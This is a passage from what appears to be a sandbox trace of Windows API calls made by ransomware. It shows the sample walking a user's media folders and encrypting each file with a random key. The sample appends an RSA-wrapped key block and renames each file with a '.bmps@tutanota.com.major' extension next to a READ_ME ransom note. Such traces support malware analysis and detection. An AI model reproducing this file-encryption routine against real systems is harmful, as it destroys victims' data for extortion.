lpNumberOfBytesWritten=0x2e3f9b4*=0x3969, lpOverlapped=0x0) returned 1 [0169.981] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3969 [0169.981] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.981] WriteFile (in: hFile=0x7b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="SbnHsIUSmwwttQdaH7e2x5VOmCUf4IZ9rFe7ttb3MGAFfF0HTjF5jKk3JmuyLHTN\nrmpd/TbaJAy4U4UVhZ3bgDvVWDI6VkUBgFLqRubHKAckP8K9ub9g2Hjg2aPVarA9\nYi+LcicII8Jo8XZXQNLrzd1jULAWw2tScEeeBk71lZtgxx/4xLbGHnXpFjylXGkQ\nIOKNrImL/D8J5EE1Os++Cn7kLtVw9MGRhBGkGFN7Fy6vVTojTZgJ0PnfVHuVXzMn\nmjv/kB96vg8B6hkfhoijJ2qznM2pNlyWq3vlYjLh2emmBHHa9IxXavpsNBcSdGbP\nGO8S6y4bTtNH2TBjVBUIbg==\n", pcchString=0x2e3f9a8) returned 1 [0169.982] WriteFile (in: hFile=0x7b4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.982] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.982] WriteFile (in: hFile=0x7b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.982] CloseHandle (hObject=0x7b4) returned 1 [0169.982] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\c6dIjR.wav" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\c6dijr.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\c6dIjR.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\c6dijr.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.986] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc6da6b0, ftCreationTime.dwHighDateTime=0x1d4c57f, ftLastAccessTime.dwLowDateTime=0xffa7c9a0, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653fe0 [0169.986] SetLastError (dwErrCode=0x0) [0169.986] GetLastError () returned 0x0 [0169.986] SetLastError (dwErrCode=0x0) [0169.986] GetLastError () returned 0x0 [0169.986] SetLastError (dwErrCode=0x0) [0169.986] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc6da6b0, ftCreationTime.dwHighDateTime=0x1d4c57f, ftLastAccessTime.dwLowDateTime=0xffa7c9a0, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.986] SetLastError (dwErrCode=0x0) [0169.986] GetLastError () returned 0x0 [0169.986] SetLastError (dwErrCode=0x0) [0169.986] GetLastError () returned 0x0 [0169.986] SetLastError (dwErrCode=0x0) [0169.986] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94aa1870, ftCreationTime.dwHighDateTime=0x1d4c583, ftLastAccessTime.dwLowDateTime=0xe21999d0, ftLastAccessTime.dwHighDateTime=0x1d4d28c, ftLastWriteTime.dwLowDateTime=0xe21999d0, ftLastWriteTime.dwHighDateTime=0x1d4d28c, nFileSizeHigh=0x0, nFileSizeLow=0xd0d0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CifbBQmI.avi", cAlternateFileName="")) returned 1 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19cef940, ftCreationTime.dwHighDateTime=0x1d4c83a, ftLastAccessTime.dwLowDateTime=0x55f6fe80, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0x55f6fe80, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x12846, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="H c9pCBB7YzjeV.flv", cAlternateFileName="HC9PCB~1.FLV")) returned 1 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36027790, ftCreationTime.dwHighDateTime=0x1d4cb5f, ftLastAccessTime.dwLowDateTime=0xfef4e000, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0xfef4e000, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0x8b23, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PSDb.mp4", cAlternateFileName="")) returned 1 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1c32d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1ca1c32d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf73600, ftCreationTime.dwHighDateTime=0x1d4cff1, ftLastAccessTime.dwLowDateTime=0xfa078e40, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0xfa078e40, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x9df0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="saKH0RHt GM572kHRDc.avi", cAlternateFileName="SAKH0R~1.AVI")) returned 1 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.987] SetLastError (dwErrCode=0x0) [0169.987] GetLastError () returned 0x0 [0169.988] SetLastError (dwErrCode=0x0) [0169.988] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d79130, ftCreationTime.dwHighDateTime=0x1d4ce63, ftLastAccessTime.dwLowDateTime=0xa911c3c0, ftLastAccessTime.dwHighDateTime=0x1d4c999, ftLastWriteTime.dwLowDateTime=0xa911c3c0, ftLastWriteTime.dwHighDateTime=0x1d4c999, nFileSizeHigh=0x0, nFileSizeLow=0x18afd, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="XOIsDi3PM2IOnu05GiSa.flv", cAlternateFileName="XOISDI~1.FLV")) returned 1 [0169.988] SetLastError (dwErrCode=0x0) [0169.988] GetLastError () returned 0x0 [0169.988] SetLastError (dwErrCode=0x0) [0169.988] GetLastError () returned 0x0 [0169.988] SetLastError (dwErrCode=0x0) [0169.988] FindNextFileW (in: hFindFile=0x653fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d79130, ftCreationTime.dwHighDateTime=0x1d4ce63, ftLastAccessTime.dwLowDateTime=0xa911c3c0, ftLastAccessTime.dwHighDateTime=0x1d4c999, ftLastWriteTime.dwLowDateTime=0xa911c3c0, ftLastWriteTime.dwHighDateTime=0x1d4c999, nFileSizeHigh=0x0, nFileSizeLow=0x18afd, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="XOIsDi3PM2IOnu05GiSa.flv", cAlternateFileName="XOISDI~1.FLV")) returned 0 [0169.988] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.988] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\XOIsDi3PM2IOnu05GiSa.flv", dwFileAttributes=0x80) returned 1 [0169.988] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\XOIsDi3PM2IOnu05GiSa.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\xoisdi3pm2ionu05gisa.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0169.988] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=101117) returned 1 [0169.989] ReadFile (in: hFile=0x7b8, lpBuffer=0x2ea0f38, nNumberOfBytesToRead=0x18afd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesRead=0x2e3f9b4*=0x18afd, lpOverlapped=0x0) returned 1 [0169.991] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-101117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.991] WriteFile (in: hFile=0x7b8, lpBuffer=0x2eb9a40*, nNumberOfBytesToWrite=0x18afd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9a40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18afd, lpOverlapped=0x0) returned 1 [0169.992] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18afd [0169.992] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.992] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.992] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.992] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.992] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.993] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="T3UHyB6hgMrOez3uvl0AKFtgdwB0Q66BMCOD8woWvpagatzwycxvNJJ58LGn9J/D\nuBlBoLPRfxD32pMcJJUaqpCOuqAD/c3c8KUjKDEArupjGcDqQWDtHfeoZAQ87Bmr\niRPsuRVPSy6N7HXkx1f4vb6+7qB0cKlW7KFYUXLRw+sbEVhYPd1qSEwpyfB7AH4L\ntoyyUbvNRVWy979QnQr78lozNcVnSPmEwNumU/aNdq2BtsVBvA1WbtS1zm88nEPx\nCpHMIVSMg4eE+EN+9eMRXA8/30Sef35iiIGA3Vhl/J1BCX4VlwSDgS1eiK5BL7QL\n5aT2rlKfnZ6tXu6j2X3FPg==\n", pcchString=0x2e3f9a8) returned 1 [0169.993] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.993] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.993] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.993] CloseHandle (hObject=0x7b8) returned 1 [0169.993] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\XOIsDi3PM2IOnu05GiSa.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\xoisdi3pm2ionu05gisa.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\XOIsDi3PM2IOnu05GiSa.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\xoisdi3pm2ionu05gisa.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.995] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\saKH0RHt GM572kHRDc.avi", dwFileAttributes=0x80) returned 1 [0169.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\saKH0RHt GM572kHRDc.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\sakh0rht gm572khrdc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0169.995] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40432) returned 1 [0169.995] ReadFile (in: hFile=0x7b8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x9df0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x9df0, lpOverlapped=0x0) returned 1 [0169.997] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-40432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.997] WriteFile (in: hFile=0x7b8, lpBuffer=0x662ed0*, nNumberOfBytesToWrite=0x9df0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662ed0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9df0, lpOverlapped=0x0) returned 1 [0169.997] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9df0 [0169.997] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.997] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.997] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="/OLqTtp5F2OzlCETkzuX2JYW9MTf0tcfc4nVGl4KFZS+gXCtumfgYMpB6fN7rteQ\nSqapr3ncsHonhOYe5w0sstLZyx1Qg2VVgM/YFMWR8huF43VOulmlvEFao0RqJEG8\n/InJdJ0Ah/gp92M2OGxCT8cgerLQlisoiDGs09l1UUtXXybUFY6bCuQhjFWj9M1X\nT7aTn+Y8+KJRL32xj/o8Mbt1KgVvkCeDY+m+igXwCwMgQZjQ/fAGQEGKmQ7lLUub\nsuJNnAKHxIvUXAvXUBy8rLAuRF7Gx0ozyWQoXRACaK3MVSc2bvom59q+UZqOmqi7\nyvgRmJAsACr6BYIMIkiROw==\n", pcchString=0x2e3f9a8) returned 1 [0169.998] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.998] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.998] CloseHandle (hObject=0x7b8) returned 1 [0169.998] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\saKH0RHt GM572kHRDc.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\sakh0rht gm572khrdc.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\saKH0RHt GM572kHRDc.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\sakh0rht gm572khrdc.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.000] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.000] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\PSDb.mp4", dwFileAttributes=0x80) returned 1 [0170.000] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\PSDb.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\psdb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0170.000] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=35619) returned 1 [0170.001] ReadFile (in: hFile=0x7b8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x8b23, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x8b23, lpOverlapped=0x0) returned 1 [0170.001] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-35619, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x661c08*, nNumberOfBytesToWrite=0x8b23, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661c08*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8b23, lpOverlapped=0x0) returned 1 [0170.002] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8b23 [0170.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Y3KxMLfYXl/f+Zo7QYxQF/W1CY/vR2cwVq6vECZuqB6eysme4iu8rp/2+rwzjIU7\nZQg8KbBUugAsDRo1ie3TPdYxoI7L/XVpsU2TmyefMNgykRKaeufBG6OECmKbBrLP\nWEObTrxpDM6AtNpgya22VP28kRje9la6LJcAquaK0m3CWAUxCbAZ7t2WYnC+AJQ9\neS57LcGvrSDBtXZxfpL1jWBe5sYUsXPPqLDOuUnKM5pZV4/hWgWFwnJGw/0JTxi2\nwTrWXnpneMqpuYrcVeFSHxICfBdbJwM28sC6L9VkmSfbQXeGU1dFZ29xQQmlXIJH\nLJ0b9WjiEOJ3fX24chzBQQ==\n", pcchString=0x2e3f9a8) returned 1 [0170.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.003] CloseHandle (hObject=0x7b8) returned 1 [0170.003] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\PSDb.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\psdb.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\PSDb.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\psdb.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.004] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\H c9pCBB7YzjeV.flv", dwFileAttributes=0x80) returned 1 [0170.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\HgvmG\\H c9pCBB7YzjeV.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\hgvmg\\h c9pcbb7yzjev.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0170.005] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=75846) returned 1 [0170.005] ReadFile (in: hFile=0x7b8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x12846, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x12846, lpOverlapped=0x0) returned 1 [0170.007] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-75846, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.007] WriteFile (in: hFile=0x7b8, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x12846, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12846, lpOverlapped=0x0) returned 1 [0170.008] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12846 [0170.008] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 